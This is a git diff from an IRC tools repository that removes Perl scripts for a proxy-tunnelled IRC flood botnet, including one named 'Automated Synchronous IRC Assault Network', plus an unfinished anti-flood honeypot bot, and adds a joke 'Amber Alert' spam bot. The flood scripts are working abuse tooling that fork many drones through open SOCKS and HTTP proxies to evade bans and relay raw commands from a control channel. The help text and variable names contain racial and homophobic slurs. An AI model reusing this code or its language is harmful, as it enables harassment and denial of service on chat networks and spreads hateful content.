- open SOCKSFILE, "<", "./socks4.txt" or error("could not open SOCKS 4 proxy file socks4.txt: $!");
- while (<SOCKSFILE>) {
- chomp;
- my ($ip, $port) = /([^:]+):([0-9]+)/;
- push @proxies, ({ip => $ip, port => $port, type => '4'});
- }
- close(SOCKSFILE) or error("could not close SOCKS 4 proxy file socks4.txt: $!");
-
- notice("acquired ". scalar(@proxies) ." SOCKS 4 prox(y|ies).");
- return (@proxies);
-}
-
-sub load_socks5_list {
- my (@proxies);
-
- open SOCKSFILE, "<", "./socks5.txt" or error("could not open SOCKS 5 proxy file socks5.txt: $!");
- while (<SOCKSFILE>) {
- chomp;
- my ($ip, $port) = /([^:]+):([0-9]+)/;
- push @proxies, ({ip => $ip, port => $port, type => '5'});
- }
- close(SOCKSFILE) or error("could not close SOCKS 5 proxy file socks5.txt: $!");
-
- notice("acquired ". scalar(@proxies) ." SOCKS 5 prox(y|ies).");
- return (@proxies);
-}
-
-sub load_http_list {
- my (@proxies);
-
- open HTTPFILE, "<", "./http.txt" or error("could not open HTTP proxy file http.txt: $!");
- while (<HTTPFILE>) {
- chomp;
- my ($ip, $port) = /([^:]+):([0-9]+)/;
- push @proxies, ({ip => $ip, port => $port, type => 'h'});
- }
- close(HTTPFILE) or error("could not close HTTP proxy file http.txt: $!");
-
- notice("acquired ". scalar(@proxies) ." http prox(y|ies).");
- return (@proxies);
-}
-
-sub load_name_list {
- my (@names);
-
- open NAMESFILE, "<", "./names.txt" or error("could not open (nick|user|real) name list file names.txt: $!");
- while (<NAMESFILE>) {
- chomp;
- push @names, $_;
- };
- close(NAMESFILE) or error("could not close (nick|user|real) name list file names.txt: $!");
-
- notice("acquired ". scalar(@names) ." (nick|user|real) name(|s).");
- return (@names);
-}
-
-# }}}
-
-# {{{ wrappers/tools
-
-sub iptoipstr {
- my ($ip) = $_;
- my $d = $ip % 256; $ip -= $d; $ip /= 256;
- my $c = $ip % 256; $ip -= $c; $ip /= 256;
- my $b = $ip % 256; $ip -= $b; $ip /= 256;
- my $a = $ip;
- my $ipstr = "$a.$b.$c.$d";
- return $ipstr;
-}
-
-sub notice {
- my $notice = shift;
- print ">>>> ". $notice ."\n";
- return;
-}
-
-sub incoming {
- my ($nick, $line, $server) = @_;
- #printf("IRCd >>>> %-12s ] %s\n", $nick, $line);
- return;
-}
-
-sub outgoing {
- my ($nick, $line, $server) = @_;
- #printf("IRCd <<<< %-12s ] %s\n", $nick, $line);
- return;
-}
-
-sub warning {
- my $warning = shift;
- print "!!!! ". $warning ."\n";
- return;
-}
-
-sub error {
- my $error = shift;
- print "!!!! ". $error ."\n";
- exit 0;
-}
-
-# }}}
-
-# {{{ per-drone logic
-
-sub spawn_bot { # only return 0 if the proxy failed. Otherwise, return 1;
- my ($proxy_ip, $proxy_port, $proxy_type,
- $remote_ip, $remote_host) = @_;
- my $nick = $g_names[int rand @g_names];
- my ($ident, $realname) = ($nick, $nick);
- my ($line, $sock, $altsock);
- my ($pingtime) = -1;
-
- eval {
- local $SIG{ALRM} = sub { die "alarm\n" }; # NB: \n required
- alarm 5;
- $sock = connect_to_proxy($proxy_ip, $proxy_port, $proxy_type,
- $remote_ip, 6667);
- alarm 0;
- };
- if ($@) {
- error("unkown error: $@") unless $@ eq "alarm\n"; # propagate unexpected errors
- #warning("$proxy_ip:$proxy_port not responding, removing from list");
- #return 0;
- }
-
- $sock = connect_to_proxy($proxy_ip, $proxy_port, $proxy_type,
- $remote_ip, 6667);
- return 0 unless $sock;
-
- print $sock "NICK $nick\r\n";
- outgoing($nick, "NICK $nick");
- print $sock "USER $ident * * :$realname\r\n";
- outgoing($nick, "USER $ident * * :$realname");
-
- while ($line = <$sock>) {
- chomp $line;
- # MIGHT WANNA ADJUST THESE vv
- next if $line =~ /372/; # ignore motd msgs
- incoming($nick, $line);
- last if $line =~ /376|422/; # end of motd or no motd
- return 0 if $line =~ /BANNED/i;
- return 0 if $line =~ /ERROR.*G.lined/i;
- return 0 if $line =~ /ERROR.*K.lined/i;
- return 1 if $line =~ /ERROR/i;
- return 1 if $line =~ /432/;
- return 1 if $line =~ /433/;
- # MIGHT WANNA ADJUST THESE ^^
- if ($line =~ /PING (.*)$/) {
- print $sock "PONG $1\r\n";
- }
- }
- print $sock "JOIN $g_channel\r\n";
- outgoing($nick, "JOIN $g_channel");
- notice("connected to $remote_host as $nick!$ident ($proxy_ip:$proxy_port:$proxy_type)");
- while ($line = <$sock>) {
- chomp $line;
- if ($line =~ /PING (.*)$/) {
- print $sock "PONG $1\r\n";
- } elsif ($line =~ /PONG/) {
- if($pingtime != -1) {
- print $sock "PRIVMSG $g_channel :PONG received after ". Time::HiRes::tv_interval($pingtime,[Time::HiRes::gettimeofday]) ." secs\r\n";
- $pingtime = -1;
- }
- } elsif ($line =~ /PRIVMSG $g_channel :\.status/i) {
- print $sock "PRIVMSG $g_channel :I'm $nick on $remote_host via $proxy_ip:$proxy_port (type: $proxy_type)\r\n";
- } elsif ($line =~ /PRIVMSG $g_channel :\.ping/i) {
- $pingtime = [Time::HiRes::gettimeofday];
- print $sock "PING :$pingtime\r\n";
- } elsif ($line =~ /PRIVMSG $g_channel :\.randnick/i ||
- $line =~ /432/ || $line =~ /433/) {
- incoming($nick, $line);
- $nick = $g_names[int rand @g_names];
- print $sock "NICK $nick\r\n";
- outgoing($nick, "NICK $nick");
- } elsif ($line =~ /PRIVMSG $g_channel :all(\/{1}[^ ]+) (.*)$/i) {
- my ($qualifiers, $cmds) = ($1, $2);
- my (undef, $repeat) = split /\//, $qualifiers;
- $cmds =~ s/\$nick/$nick/g;
- my (@cmds) = split /;/, $cmds;
- my $current = 0;
- while ($current < $repeat) {
- foreach my $cmd (@cmds) {
- if ($cmd =~ /\.randnick/) {
- $nick = $g_names[int rand @g_names];
- print $sock "NICK $nick\r\n";
- } else {
- print $sock "$cmd\r\n";
- }
- }
- $current++;
- }
- } elsif ($line =~ /PRIVMSG $g_channel :(?:\S*|\s*)$nick(?:\S*|\s*)(\/{1}[^ ]+) (.*)$/i) {
- my ($qualifiers, $cmds) = ($1, $2);
- my (undef, $repeat) = split /\//, $qualifiers;
- if ($cmds =~ /nick (\S*)/i) {
- $nick = $1;
- }
- my (@cmds) = split /;/, $cmds;
- my $current = 0;
- while ($current < $repeat) {
- foreach my $cmd (@cmds) {
- if ($cmd =~ /\.randnick/) {
- $nick = $g_names[int rand @g_names];
- print $sock "NICK $nick\r\n";
- } else {
- print $sock "$cmd\r\n";
- }
- }
- $current++;
- }
- incoming($nick, $line);
- outgoing($nick, $cmds);
- } elsif ($line =~ /^:(.*)!.* (PRIVMSG|NOTICE) $nick :(.*)$/i) {
- my $msg = $3;
- chomp $msg;
- if($2 eq 'PRIVMSG') {
- print $sock "PRIVMSG $g_channel :<$1> $msg\r\n";
- } else {
- print $sock "PRIVMSG $g_channel :-$1- $msg\r\n";
- }
- } elsif ($line =~ /473/) {
- # (channel is +i)
- alarm 5;
- $SIG{ALRM} = sub { print $sock "JOIN $g_channel\r\n";
- alarm 0; };
- } else {
- incoming($nick, $line);
- }
- }
-}
-
-# }}}
-
-# {{{ proxy protocol handshakes/tunnel establishment
-
-sub connect_to_proxy {
- my ($proxy_ip, $proxy_port, $proxy_type,
- $remote_ip, $remote_port) = @_;
- if($proxy_type eq '4') {
- return connect_to_socks4_proxy($proxy_ip, $proxy_port,
- $remote_ip, $remote_port);
- } elsif($proxy_type eq '5') {
- return connect_to_socks5_proxy($proxy_ip, $proxy_port,
- $remote_ip, $remote_port);
- } elsif($proxy_type eq 'h') {
- return connect_to_http_proxy($proxy_ip, $proxy_port,
- $remote_ip, $remote_port);
- } else {
- error("unknown proxy type $proxy_type ($proxy_ip:$proxy_port)");
- }
-}
-
-sub connect_to_socks4_proxy {
- # see http://socks.permeo.com/protocol/socks4.protocol
- my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_;
- my $sock = IO::Socket::INET->new(
- PeerAddr => $socks_ip,
- PeerPort => $socks_port,
- Proto => 'tcp',
- Timeout => '8'
- );
- return unless $sock;
- $sock->autoflush(1);
- print $sock pack('CCn', 4, 1, $remote_port) . inet_aton($remote_ip) . pack('x');
- my $received = '';
- while (read($sock, $received, 8) && (length($received) < 8)) {}
- my ($vn, $cd, $listen_port, $listen_addr) = unpack('CCnN', $received);
- return unless $cd;
- if ($cd != 90) {
- return;
- }
- return $sock;
-}
-
-sub connect_to_socks5_proxy {
- my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_;
- my $sock = IO::Socket::INET->new(
- PeerAddr => $socks_ip,
- PeerPort => $socks_port,
- Proto => 'tcp',
- Timeout => '8'
- );
- return unless $sock;
- $sock->autoflush(1);
-
- print $sock pack('CCC', 5, 1, 0);
- my $received = '';
- while (read($sock, $received, 2) && (length($received) < 2)) {}
- my (undef, $method) = unpack('CC', $received);
- print "received: '$received'\n";
- return if $method == 0xFF;
- print $sock pack ('CCCCNn', 5, 1, 0, 1, inet_aton($remote_ip),
- $remote_port);
- $received = '';
- while (read($sock, $received, 2) && (length($received) < 4)) {}
- my ($vn, $rep) = unpack('CC', $received);
- if ($rep != 0) {
- return;
- }
- return $sock;
-}
-
-sub connect_to_http_proxy {
- my ($http_ip, $http_port, $remote_ip, $remote_port) = @_;
- my $sock = IO::Socket::INET->new(
- PeerAddr => $http_ip,
- PeerPort => $http_port,
- Proto => 'tcp',
- Timeout => '8'
- );
- return unless $sock;
- $sock->autoflush(1);
-
- print $sock "CONNECT $remote_ip:$remote_port HTTP/1.0\r\n\r\n";
- my $received = '';
- while (read($sock, $received, 12) && (length($received) < 12)) {}
- my (undef, $response) = split / /, $received;
- return if $received eq "";
- return if $response ne '200';
-
- while(read($sock, $received, 1)) {
- if($received eq "\n") {
- read($sock, $received, 1);
- if($received eq "\r") {
- read($sock, $received, 1);
- return $sock;
- }
- }
- }
- return;
-}
-
-sub resolve {
- my $host = shift;
- my (undef, undef, undef, undef, @servers) = gethostbyname($host);
- unless (@servers) {
- error("cannot resolve server $host: $?");
- return 0;
- }
- my @servers_ip;
- foreach my $server (@servers) {
- my ($a, $b, $c, $d) = unpack('C4', $server);
- my $server_ip = "$a.$b.$c.$d";
- push (@servers_ip, $server_ip);
- }
- return @servers_ip;
-}
-
-# }}}
-
-# vim:ts=2
-# vim:sw=2
-# vim:expandtab
-# vim:foldmethod=marker
diff --git a/irc/asian.pl b/irc/asian.pl
@@ -1,318 +0,0 @@
-#!/usr/bin/perl
-
-# -->
-# WORK IN PROGRESS
-# <--
-
-# ASIAN 2.0 by Jmax
-#
-# I have made many modifications:
-# - Use of command line arguments as opposed to editing the script itself.
-# - Adding a SOCKS routine, instead of using Net::SOCKS (no non-standard modules will be required)
-# - Adding a random nick/fullname/ircname routine, instead of using Crypt::RandPasswd (no non-standard modules will be required)
-# - Improved fork routine/library
-#
-# The original header is as follows (NOTE: syntax here is _incorrect_):
-# -----------------------------------------------
-# ASIAN by Rucas
-# Automated Synchronous IRC Assault Network
-# Based on AYSYN by mef
-#
-# Make sure to put a SOCKS5 proxy list in proxies.txt in the same
-# directory as this script. If you'd like to use tor, you can put
-# the correct info on one line in proxies.txt and this app will
-# still function properly (although generally tor sucks)
-#
-# All bots join $channel and are issued raw irc commands from there
-# using syntax "all PRIVMSG Rucas lol you fail it" for all bots or
-# "botname PRIVMSG Rucas lol failure" and such.
-#
-# Testing of an early version of this script is the reason that
-# Freenode now checks for open SOCKS proxies.
-# -----------------------------------------------
-
-# TODO:
-# file flooding with adjustments for nick-length
-
-use warnings;
-use strict;
-use IO::Socket;
-use IO::Handle;
-# for forking
-use POSIX qw(:signal_h :sys_wait_h);
-my ($forkcount, $pid, $dead_nigger_storage, $maxfork) = (0, undef, 0, 50);
-$SIG{INT} = sub { kill('INT', (getpgrp(0) * -1)) && exit; };
-$SIG{CHLD} = sub { $dead_nigger_storage++ while(($pid = waitpid(-1, WNOHANG)) > 0); };
-# end
-use vars qw($VERSION);
-$VERSION = "2.0-beta3";
-
-error("please run using the --help argument") unless $ARGV[0];
-my ($server, $port, $channel, $nickbase);
-if ($ARGV[0] eq '--help') {
- print "ASIAN $VERSION by Jmax, Rucas, abez. Inspired by code by mef.\n".
- "\n".
- "\n".
- " Invocation:\n".
- " perl ".__FILE__." server[:port] \"#channel\" [nickbase]\n".
- "\n".
- " Where \"server\" is a hostname to an ircd, and \"#channel\" is the control channel\n".
- " you want the bots to join, and \"server\" is optionally affixed with a port to\n".
- " use (if not 6667) with a colon inbetween. Please note that some shells will interpret\n".
- " the # in \"#channel\" as a comment, and will not send it to the script. In this case,\n".
- " You may either use quotes, or escape the '#'. I prefer quotes. You may also, optionally,\n".
- " specify a nickbase. This will cause all nicks to begin with that string. You should\n".
- " probably not do this, as it makes your bots easier to ban.\n".
- "\n".
- "\n".
- " Usage:\n".
- " all <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
- " <botname> <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
- " <botname>,<botname2>,... <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
- "\n".
- " Simply privmsg your command to the control channel, and the respective bots will follow.\n".
- "\n".
- " Examples:\n".
- " <~supers> all join #gnaa gnaa\n".
- " All bots will join #gnaa using the key 'gnaa'\n".
- " <~supers> all privmsg #gnaa :LOL HY LOL HY\n".
- " All bots will say \"LOL HY LOL HY\" in #gnaa\n".
- " <\@Rucas> fgtbot2235 nick NOT_FGT_LOL_GIMME_VOICE\n".
- " The bot with the nick 'fgtbot2235' will change its nick to 'NOT_FGT_LOL_GIMME_VOICE'\n".
- " <\@Jmax> NOT_FGT_LOL_GIMME_VOICE,dongs,loljews,nullo_is_a_fag_LOL part #gnaa :lol jews\n".
- " The bots with the nicks 'NOT_FGT_LOL_GIMME_VOICE', 'dongs', 'loljews', and 'nullo_is_a_fag_LOL'\n".
- " will part #gnaa with reason 'lol jews'\n".
- "\n".
- "\n".
- " Enjoy. -- Jmax\n";
- exit 0;
-} elsif ($ARGV[0] eq '--version') {
- print "ASIAN $VERSION by Jmax, Rucas, abez. Based on code by mef.\n";
- exit 0;
-} else {
- error("please run using the --help argument") unless $ARGV[1];
- if ($ARGV[0] =~ /(.+):(\d+)/) {
- $server = $1;
- $port = $2;
- } else {
- $server = $ARGV[0];
- $port = 6667;
- }
- $channel = $ARGV[1];
- if ($ARGV[2]) {
- $nickbase = $ARGV[2];
- }
-}
-
-my @servers = resolve($server);
-notice("Resolved $server as ".join(", ", @servers));
-
-my %proxies = load_socks();
-my @proxylist = get_proxylist(%proxies);
-
-notice("Initiliazing (forking) bots");
-for ($forkcount = 0; $forkcount < $maxfork; $forkcount++) { # $forkcount must _not_ be local to here
- sleep 1; # so we don't overload ourselves
- if (!defined(my $pid = fork())) { # fork
- error("couldn't fork: $!"); # die if fork fails
- } elsif ($pid == 0) { # fork successful, in child, do stuff
- while (%proxies) {
- my $proxy_ip = $proxylist[int rand @proxylist];
- my $proxy_port = $proxies{$proxy_ip};
- spawn_bot($proxy_ip, $proxy_port, $servers[int rand @servers], $port)
- or (delete $proxies{$proxy_ip} and @proxylist = get_proxylist(%proxies));
- sleep 10; # to prevent throttling by IRCd
- }
- exit 0; # kills child
- } else { # this is the parent
- }
-}
-sleep while ($dead_nigger_storage < $maxfork);
-exit 666;
-
-sub load_socks {
- my (%proxies, @proxylist, $socksn);
- open SOCKSFILE, "<", "./socks.txt" or error("could not open socks proxies file socks.txt: $!");
- while (<SOCKSFILE>) {
- chomp;
- my ($ip, $port) = /([^:]+):([^:]+)/;
- $proxies{$ip} = $port;
- $socksn++;
- }
- close(SOCKSFILE) or error("could not close socks proxies file socks.txt: $!");
- notice("acquired $socksn socks prox(y|ies).");
- return (%proxies);
-}
-
-sub spawn_bot { # only return 0 if the proxy failed. Otherwise, return 1;
- my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_;
- my ($nick, $nicklen);
- if ($nickbase) {
- $nicklen = int(rand(4)) + 3;
- $nick = $nickbase . random_num($nicklen);
- } else {
- $nicklen = int(rand(9)) + 3;
- $nick = random_nick($nicklen);
- }
- my $identlen = int(rand(4)) + 3;
- my $ident = lc(random_nick($identlen));
- my $realnamelen = int(rand(9)) + 7;
- my $realname = random_nick($realnamelen);
- my ($line, $sock, $altsock);
- eval {
- local $SIG{ALRM} = sub { die "alarm\n" }; # NB: \n required
- alarm 5;
- $sock = connect_to_socks_proxy($socks_ip, $socks_port, $remote_ip, $remote_port);
- alarm 0;
- };
- if ($@) {
- error("unkown error: $@") unless $@ eq "alarm\n"; # propagate unexpected errors
- warning("TIMEOUT / CONNECTION REFUSED; SOCKS == SHIT; DELETING AND LOADING NEW;");
- return 0;
- }
- $sock = connect_to_socks_proxy($socks_ip, $socks_port, $remote_ip, $remote_port);
- return 0 unless $sock;
- print $sock "NICK $nick\r\n";
- outgoing($nick, "NICK $nick");
- print $sock "USER $ident * * :$realname\r\n";
- outgoing($nick, "USER $ident * * :$realname");
- while ($line = <$sock>) {
- chomp $line;
- next if $line =~ /372/; # ignore motd msgs
- incoming($nick, $line);
- last if $line =~ /376|422/; # end of motd or no motd
- return 0 if $line =~ /BANNED/i;
- return 0 if $line =~ /ERROR.*G.lined/i;
- return 0 if $line =~ /ERROR.*K.lined/i;
- return 1 if $line =~ /ERROR/i;
- return 1 if $line =~ /432/;
- return 1 if $line =~ /433/;
- if ($line =~ /PING (.*)$/) {
- print $sock "PONG $1\r\n";
- }
- }
- print $sock "JOIN $channel\r\n";
- outgoing($nick, "JOIN $channel");
- while ($line = <$sock>) {
- chomp $line;
- if ($line =~ /PING (.*)$/) {
- print $sock "PONG $1\r\n";
- } elsif ($line =~ /PRIVMSG $channel :all (.*)$/i) {
- my $cmd = $1;
- if ($cmd =~ /nick (\S*)/i) {
- $nick = $1;
- }
- incoming($nick, $line);
- print $sock "$cmd\r\n";
- outgoing($nick, $cmd);
- } elsif ($line =~ /PRIVMSG $channel :(?:\S*|\s*)$nick(?:\S*|\s*) (.*)$/i) {
- my $cmd = $1;
- if ($cmd =~ /nick (\S*)/i) {
- $nick = $1;
- }
- incoming($nick, $line);
- print $sock "$cmd\r\n";
- outgoing($nick, $cmd);
- } else {
- incoming($nick, $line);
- }
- }
-}
-
-sub connect_to_socks_proxy {
- # see http://socks.permeo.com/protocol/socks4.protocol
- my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_;
- my $sock = IO::Socket::INET->new(
- PeerAddr => $socks_ip,
- PeerPort => $socks_port,
- Proto => 'tcp'
- );
- return unless $sock;
- $sock->autoflush(1);
- print $sock pack('CCn', 4, 1, $remote_port) . inet_aton($remote_ip) . pack('x');
- my $received = '';
- while (read($sock, $received, 8) && (length($received) < 8)) {}
- my ($vn, $cd, $listen_port, $listen_addr) = unpack('CCnN', $received);
- return unless $cd;
- if ($cd != 90) {
- return;
- }
- return $sock;
-}
-
-sub random_nick {
- my $length = shift;
- my $possible = '0123456789abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZ'; # NO PIPES. (lol, weird bug)
- my @possible = split(//, $possible);
- my $str = '';
- while (length($str) < $length) {
- $str .= $possible[int rand @possible];
- }
- return $str;
-}
-
-sub random_num {
- my $length = shift;
- my $possible = '0123456789'; # NO PIPES. (lol, weird bug)
- my @possible = split(//, $possible);
- my $str = '';
- while (length($str) < $length) {
- $str .= $possible[int rand @possible];
- }
- return $str;
-}
-
-sub resolve {
- my $host = shift;
- my (undef, undef, undef, undef, @servers) = gethostbyname($host);
- unless (@servers) {
- error("cannot resolve server $host: $?");
- return 0;
- }
- my @servers_ip;
- foreach my $server (@servers) {
- my ($a, $b, $c, $d) = unpack('C4', $server);
- my $server_ip = "$a.$b.$c.$d";
- push (@servers_ip, $server_ip);
- }
- return @servers_ip;
-}
-
-sub get_proxylist {
- my $proxies = @_;
- my @proxylist;
- foreach my $key (keys %proxies) {
- push(@proxylist, $key);
- }
- return @proxylist;
-}
-
-sub notice {
- my $notice = shift;
- print ">>>> ". $notice ."\n";
- return;
-}
-
-sub incoming {
- my ($nick, $line, $server) = @_;
- printf("IRCd >>>> %-12s ] %s\n", $nick, $line);
- return;
-}
-
-sub outgoing {
- my ($nick, $line, $server) = @_;
- printf("IRCd <<<< %-12s ] %s\n", $nick, $line);
- return;
-}
-
-sub warning {
- my $warning = shift;
- print "!!!! ". $warning ."\n";
- return;
-}
-
-sub error {
- my $error = shift;
- print "!!!! ". $error ."\n";
- exit 0;
-}
diff --git a/irc/blackhole.py b/irc/blackhole.py
@@ -1,208 +0,0 @@
-#!/usr/bin/env python
-# Blackhole IRC Bot - Developed by acidvegas in Python - (https://acid.vegas/random)
-
-'''
-WARNING: This script it entirely unfinished and should not be used for anything other than testing!
-
-This is an advanced master/honeypot(s) bot system designed to combat advanced flooding techniques on IRC
-'''
-
-import random, ssl, socket, time, threading
-
-# Config
-nickserv_password = None
-operator_password = None
-user_modes = None #BdZ
-
-class HoneyPot(threading.Thread):
- def __init__(self):
- self.nickname = random.choice(BlackHole.db['honeypot_nicks'])
- self.sock = None
- threading.Thread.__init__(self)
-
- def connect(self):
- try:
- self.sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
- self.sock.connect(('localhost', 6697))
- self.raw(f'USER {username} 0 * :{realname}')
- self.raw('NICK ' + self.nickname)
- except socket.error:
- self.event_disconnect()
- else:
- self.listen()
-
- def event_disconnect(self):
- self.sock.close()
- time.sleep(15)
- self.connect()
-
- def handle_events(self, data):
- args = data.split()
- if data.startswith('ERROR :Closing Link:'):
- raise Exception('Connection has closed.')
- elif args[0] == 'PING':
- self.raw('PONG ' + args[1][1:])
- elif args[1] == '001':
- for chan in channels:
- self.raw('JOIN ' + chan)
- time.sleep(1)
- elif args[1] == '433':
- self.nickname = random.choice(BlackHole.db['honeypot_nicks'])
- self.raw('NICK ' + self.nickname)
- elif args[1] == 'INVITE':
- nick = args[0].split('!')[0][1:]
- self.sendmsg('blackhole', '!' + nick)
- elif args[1] == 'KICK' and len(args) >= 4:
- chan = args[2]
- kicked = args[3]
- if chan in channels and kicked == self.nickname:
- time.sleep(1)
- self.raw('JOIN ' + chan)
- elif args[1] == 'NOTICE':
- nick = args[0].split('!')[0][1:]
- self.sendmsg('blackhole', '!' + nick)
- elif args[1] == 'PRIVMSG' and len(args) >= 3:
- nick = args[0].split('!')[0][1:]
- chan = args[2]
- if chan == self.nickname or '\001' in data:
- self.sendmsg('blackhole', '!' + nick)
-
- def listen(self):
- while True:
- try:
- data = self.sock.recv(1024).decode('utf-8')
- for line in (line for line in data.split('\r\n') if line):
- if len(line.split()) >= 2:
- self.handle_events(line)
- except (UnicodeDecodeError,UnicodeEncodeError):
- pass
- except:
- break
- self.event_disconnect()
-
- def raw(self, msg):
- self.sock.send(bytes(msg + '\r\n', 'utf-8'))
-
- def sendmsg(self, target, msg):
- self.raw(f'PRIVMSG {target} :{msg}')
-
-class IRC(object):
- def __init__(self):
- self.db = {'ident':list(),'nick':list(),:'protect':list()}
- self.sock = None
-
- def run(self):
- with open('blackhole.pkl','rb') as db_file:
- self.db = pickle.load(db_file)
- self.connect()
-
- def connect(self):
- try:
- self.sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
- self.sock.connect(('localhost', 6697))
- self.raw(f'USER BL 0 * :ENTER THE VOID')
- self.raw('NICK blackhole')
- except socket.error:
- self.event_disconnect()
- else:
- self.listen()
-
- def evemt_connect(self):
- self.mode(nickname, '+' + user_modes)
- self.identify(nickname, nickserv_password)
- self.oper(username, operator_password)
-
- def event_disconnect(self):
- self.sock.close()
- time.sleep(15)
- self.connect()
-
- def event_private(self, ident, nick, msg):
- if ident == admin:
- args = msg.split()
- cmd = args[0][1:]
- if msg[:1] == '.':
- if cmd in self.db.keys():
- if len(args) == 1:
- for item in self.db[cmd]:
- self.sendmsg(nick, '\x0310' + item)
- elif len(args) == 2:
- option = args[1][1:]
- change = args[1][:1]
- if change == '+':
- if option not in self.db[cmd]:
- self.db[cmd].append(option)
- self.sendmsg(nick, '\x033added')
- elif change == '-':
- if option in self.db[cmd]:
- self.db[cmd].remove(option)
- self.sendmsg(nick, '\x035removed')
- elif ident not in self.db['protected_hosts']:
- self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f')
-
- def handle_events(self, data):
- args = data.split()
- if data.startswith('ERROR :Closing Link:'):
- raise Exception('Connection has closed.')
- elif args[0] == 'PING':
- self.raw('PONG ' + args[1][1:])
- elif args[1] == '001':
- self.event_connect()
- elif args[1] == 'INVITE' or args[1] == 'NOTICE':
- nick = args[0].split('!')[0][1:]
- host = args[0].split('@')[1]
- self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f')
- elif args[1] == 'KICK' and len(args) >= 4:
- nick = args[0].split('!')[0][1:].lower()
- host = args[0].split('@')[1]
- chan = args[2]
- kicked = args[3].lower()
- if kicked == 'blackhole':
- time.sleep(1)
- self.raw('JOIN ' + chan)
- else:
- for item in self.db['nick']:
- if kicked == item:
- self.raw(f'KICK {chan} {nick} \x038,4 E N T E R T H E V O I D \x0f')
- self.mode(chan, '+b *!*@' + host)
- break
- elif args[1] == 'PRIVMSG' and len(args) == 4:
- ident = args[0].split('!')[1].lower()
- host = args[0].split('@')[1]
- nick = args[0].split('!')[0][1:].lower()
- chan = args[2]
- msg = ' '.join(args[3:])[1:].lower()
- if '\001' in msg:
- self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f')
- elif chan == 'blackhole':
- if ident in self.db['ident'] and msg.startswith('!'):
- self.raw('KILL {msg[1:]} \x038,4 E N T E R T H E V O I D \x0f')
- elif ident == admin:
- self.event_private(ident, nick, msg)
- else:
- self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f')
- elif host not in self.db['protect']:
- for item in self.db['nick']:
- if item in msg:
- self.raw('KICK {chan} {nick} \x038,4 E N T E R T H E V O I D \x0f')
- break
-
- def listen(self):
- while True:
- try:
- data = self.sock.recv(1024).decode('utf-8')
- for line in (line for line in data.split('\r\n') if line):
- if len(line.split()) >= 2:
- self.handle_events(line)
- except (UnicodeDecodeError,UnicodeEncodeError):
- pass
- except:
- break
- self.event_disconnect()
-
- def raw(self, msg):
- self.sock.send(bytes(msg + '\r\n', 'utf-8'))
-
-# Main
-BlackHole = IRC()
-BlackHole.run()
diff --git a/irc/bots/amber.py b/irc/bots/amber.py
@@ -0,0 +1,142 @@
+#!/usr/bin/env python
+# Amber Alert IRC Bot - Developed by acidvegas & blowfish in Python (https://acid.vegas/amber)
+# amber.py
+
+import asyncio
+import random
+import ssl
+import textwrap
+import time
+
+import config
+
+class config:
+ server = 'irc.supernets.org'
+ channel = '#superbowl'
+ nickname = 'AMBERALERT'
+ ident = {'nickname':'AMBERALERT', 'username':'missing', 'realname':'IRC Amber Alert Bot', 'nickserv':None}
+
+def ascii(nick):
+ age = '{0!s}{1}'.format(random.randint(12,90), random.choice(['',' AND HALF']))
+ height = '{0!s}\' {1!s}"'.format(random.randint(3,6), random.randint(1,12))
+ weight = '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12 HEIGHT1 : {height.ljust(16)}
+ 1,0 1,1 1,10 5,7;1 5 ;;;;5,10 1 1,1 1,0
+ 1,0 1,1 1,10 1,7 1,1___1,10 1,6\ 1,10 1,1 1,0 12 WEIGHT1 : {weight.ljust(16)}
+ 1,0 1,1 1,7 1,10 1,6 1,7 1,10 1,1 1,0
+ 1,0 1,1 1,7 1,10 1,7 1,10 1,1 1,0 12EYES 1 : {eyes.ljust(16)}
+ 1,0 1,1 1,0
+ 1,0
+ 1,0 Missing from #superbowl, SuperNETs since 2007
+ 1,0
+ 1,0 ANY INFORMATION REGARDING THE WHERE-ABOUTS OF
+ 1,0 THIS CHATTER SHOULD REPORT IT TO THE OFFICAL
+ 1,0 CENTER FOR LOST CHATTERS 14(CFLC)1 AS SOON AS OK.
+ 1,0
+ 1,0 1-800-5MISSING1 missing@cflc.gov
+ 1,0 ''')
+
+def ssl_ctx():
+ ctx = ssl.create_default_context()
+ ctx.check_hostname = False
+ ctx.verify_mode = ssl.CERT_NONE
+ return ctx
+
+class IRC:
+ def __init__(self):
+ self.options = {'host':'irc.supernets.org','port':6697,'limit':1024,'ssl':ssl_ctx(),'family':2}
+ self.reader = None
+ self.writer = None
+ self.names = {'found':list(), 'idle':list()}
+ self.scanning = False
+ self.looping = False
+
+ def _event_names(self, names):
+ if self.scanning:
+ for name in names:
+ if name[:1] in '~!@%&+:':
+ name = name[1:]
+ if name not in ('AMBERALERT','CANCER','ChanServ','DickServ','EliManning','FUCKYOU','scroll'):
+ self.names['found'].append(name)
+
+ async def _event_end_of_names(self):
+ self.scanning = False
+ for name in self.names['found']:
+ self._raw('WHOIS ' + name)
+ await asyncio.sleep(2)
+ if self.names['idle']:
+ target = random.choice(self.names['idle'])
+ for line in ascii(target).split('\n'):
+ self._raw(f'PRIVMSG #superbowl :{line}')
+ self._raw(f'PRIVMSG {target} :{line}')
+ self.names = {'found':list(), 'idle':list()}
+
+ async def _loop(self):
+ while self.looping:
+ if not self.scanning:
+ self.scanning = True
+ self._raw('NAMES #superbowl')
+ await asyncio.sleep(random.randint(43200,86400)) # 12H-1D
+
+ def _raw(self, data):
+ self.writer.write(data[:510].encode('utf-8') + b'\r\n')
+
+ async def _connect(self):
+ try:
+ self.reader, self.writer = await asyncio.open_connection(**self.options)
+ self._raw(f'USER missing 0 * :Amber Alert IRC Bot')
+ self._raw('NICK AMBERALERT')
+ except Exception as ex:
+ print(f'[!] - Failed to connect to IRC server! ({ex!s})')
+ else:
+ while not self.reader.at_eof():
+ line = await self.reader.readline()
+ line = line.decode('utf-8').strip()
